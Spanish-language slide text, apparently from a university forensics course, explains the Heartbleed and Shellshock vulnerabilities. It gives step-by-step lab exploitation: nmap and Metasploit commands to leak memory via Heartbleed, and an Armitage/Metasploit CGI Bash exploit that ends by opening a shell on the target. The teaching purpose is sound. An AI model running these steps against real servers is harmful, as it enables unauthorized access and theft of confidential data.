Este documento describe dos vulnerabilidades de software importantes: Heartbleed y Shellshock. Heartbleed era un error en la biblioteca OpenSSL que permitía robar información confidencial de servidores afectados. Shellshock era un error en el intérprete de comandos Bash que permitía ejecutar código malicioso en sistemas que usaban Bash. El documento explica cómo funcionaban estas vulnerabilidades y cómo podrían ser explotadas, incluyendo pasos para detectar sistemas vulnerables y tomar el control de ellos.
Presentación de Estrategias de Enseñanza-Aprendizaje Virtual.pptx
Caso estudio Heartbleed Shellshock
1. Caso de estudio No. 1: Heartbleed & Shellshock
Caso de estudio No. 1: Heartbleed & Shellshock
Inform´atica Forense
Francisco Medina L´opez
paco.medina@comunidad.unam.mx
http://aulavirtual.capacitacionentics.com/
Universidad Nacional Aut´onoma de M´exico
Facultad de Contadur´ıa y Administraci´on
2018-2
2. Caso de estudio No. 1: Heartbleed & Shellshock
Agenda
1 Heartbleed
Vulnerabilidad
Explotaci´on
2 Shellshock
Antecedentes
Vulnerabilidad
Explotaci´on
3. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Vulnerabilidad
1 Heartbleed
Vulnerabilidad
Explotaci´on
2 Shellshock
4. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Vulnerabilidad
¿Qu´e es Heartbleed?
Definici´on
Vulnerabilidad detactada en la biblioteca OpenSSL utilizada para
la creacion de certificados SSL, que permite a los atacantes
obtener contrase˜nas, n´umeros de tarjetas de cr´edito y otra
informaci´on sensible directamente de los servidores afectados.
Se di´o a conocer el 8 de abril del 2014.
Un mal manejo de l´ımites en memoria y el uso
repetido de memoria no correctamente
asignada/liberada causa fugas de informaci´on
arbitraria.
5. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Vulnerabilidad
Algunos servidores afectados
https://visual.ly/community/infographic/computers/major-sites-affected-heartbleed
6. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Explotaci´on
1 Heartbleed
Vulnerabilidad
Explotaci´on
2 Shellshock
7. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Explotaci´on
Paso 1: Detectar la vulnerabilidad
nmap -p 443 --script ssl-heartbleed 192.168.150.3
8. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Explotaci´on
Paso 2: Inicia metasploit
msfconsole
use auxiliary/scanner/ssl/openssl heartbleed
9. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Explotaci´on
Paso 3: Explotar la vulnerabilidad
set RHOSTS 192.168.150.3
set verbose true
exploit
10. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Explotaci´on
Paso 4: Analizar resultados
11. Caso de estudio No. 1: Heartbleed & Shellshock
Heartbleed
Explotaci´on
Noticas recientes
https://www.seguridad.unam.mx/historico/noticia/index.html-noti=3140
12. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Antecedentes
1 Heartbleed
2 Shellshock
Antecedentes
Vulnerabilidad
Explotaci´on
13. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Antecedentes
Componentes de un sistema operativo
14. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Antecedentes
/bin/bash
Definici´on
Bash (Bourne-again shell) es un programa inform´atico, cuya
funci´on consiste en interpretar ´ordenes, y un lenguaje de consola.
Es una shell de Unix compatible con POSIX y el int´erprete de
comandos por defecto en la mayor´ıa de las distribuciones
GNU/Linux, adem´as de macOS. Tambi´en se ha llevado a otros
sistemas como Windows y Android1.
1
https://es.wikipedia.org/wiki/Bash
15. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Antecedentes
Variables de ambiente en bash
16. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Antecedentes
Variables de ambiente en bash (2)
Se pueden invocar variables existentes o crear nuevas variables.
17. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Antecedentes
Funciones en bash
Pueden ser definidias dentro de scripts (.sh).
Pueden ser definidas desde la l´ınea de comandos.
18. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Antecedentes
Funciones en bash (2)
Pueden ser definidias como variable de ambiente (env).
19. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Vulnerabilidad
1 Heartbleed
2 Shellshock
Antecedentes
Vulnerabilidad
Explotaci´on
20. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Vulnerabilidad
¿Qu´e es Shellshock?
21. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Vulnerabilidad
¿Qu´e es Shellshock?
Definici´on
Shellshock, tambi´en conocida como Bashdoor, es una familia de
errores de seguridad en el ampliamente usado interprete de
comandos Bash de Unix. El primero de estos bugs fue divulgado el
12 de septiembre de 2014. 2.
Varios servicios de internet tal como algunas
implementaciones de servidores web usan Bash
para ciertos procesos, esto le permit´ıa al
atacante ejecutar comandos arbitrarios en
versiones vulnerables de Bash, de esta forma el
atacante pod´ıa ganar acceso no autorizado al
sistema atacado.
2
https://es.wikipedia.org/wiki/Shellshock_(error_de_software)
22. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Vulnerabilidad
L´ınea de tiempo
Fuente: A Global Empirical Analysis of the Shellshock
23. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Vulnerabilidad
Heat-map of scanned vulnerable sites by country
Fuente: A Global Empirical Analysis of the Shellshock
24. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Vulnerabilidad
Sistemas operativos m´as afectados
Fuente: A Global Empirical Analysis of the Shellshock
25. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Explotaci´on
1 Heartbleed
2 Shellshock
Antecedentes
Vulnerabilidad
Explotaci´on
26. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Explotaci´on
Paso 1: Detectar URL vulnerable
Inicia Burp Suite.
Configura tu navegador web para hacer uso de Burp.
Entra al sitio a analizar.
27. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Explotaci´on
Paso 2: Inicia Armitage
Agrega la direcci´on IP del objetivo.
Attacks → Find attacks.
28. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Explotaci´on
Paso 3: Explotar la vulnerabilidad
Selecciona la vulnerabilidad apache mod cgi bash env exec
Configura el siguiente par´ametro:
set TARGETURI /cgi-bin/status
Explota la vulnerabilidad.
29. Caso de estudio No. 1: Heartbleed & Shellshock
Shellshock
Explotaci´on
Paso 4: Toma el control del equipo
Clic derecho sobre el objetivo, selecciona Shell → Interact.
30. Caso de estudio No. 1: Heartbleed & Shellshock
Referencias bibliogr´aficas
Referencias bibliogr´aficas
https://www.seguridad.unam.mx/historico/noticia/index.html-
noti=1659
https://www.seguridad.unam.mx/historico/noticia/index.html-
noti=1665
Desarrollo seguro de aplicaciones con criptograf´ıa
Shellshock, Tudor Enache
A Global Empirical Analysis of the Shellshock